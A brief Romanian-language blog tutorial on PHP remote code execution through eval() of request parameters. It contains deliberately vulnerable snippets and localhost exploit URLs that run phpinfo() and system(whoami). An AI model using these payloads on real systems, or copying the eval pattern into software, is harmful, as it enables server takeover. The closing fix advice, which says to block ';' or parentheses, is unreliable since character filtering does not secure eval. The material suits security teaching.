Vulnerabilitati PHP –  Remote Code Execution - Securitatea Informatica

Vulnerabilitati PHP – Remote Code Execution

Exemplu de bază

Cod:

<?php
$code=$_GET['code'];
eval($code);
?>

Funcţia “eval” evaluează un string ca şi cod PHP. În acest caz, putem executa cod PHP.
Exemplu :

http://127.0.0.1/test.php?code=phpinfo();

http://127.0.0.1/test.php?code=system(whoami);

Şi vom obţine rezultatul codului PHP injectat de către noi.

Exemplu simplu

Cod:

$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )

Putem vedea că valoarea variabilei ”anticode” este cerută prin metoda $_REQUEST şi coderul a “securizat” variabila cu ajutorul funcţiei “stripslashes” care este nefolositoare în cazul nostru, deoarece nu ne trebuie slash-uri pentru a executa codul nostru php decât dacă vrem să includem un URL. Exemplu:

http://127.0.0.1/test.php?anticode=phpinfo();

Frumos, injecţia a avut loc cu succes, rezultatul codului php ne este afişat. Fără include pentru că slash-urile sunt filtrate dar putem executa comenzii cu ajutorul funcţiei system().

Cum să fixezi

Metoda simplă : Nu permiteţi “;” şi codul php va devenii invalid.
Altă metodă : Nu permiteţi caractere speciale ca “(” sau “)” etc.

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro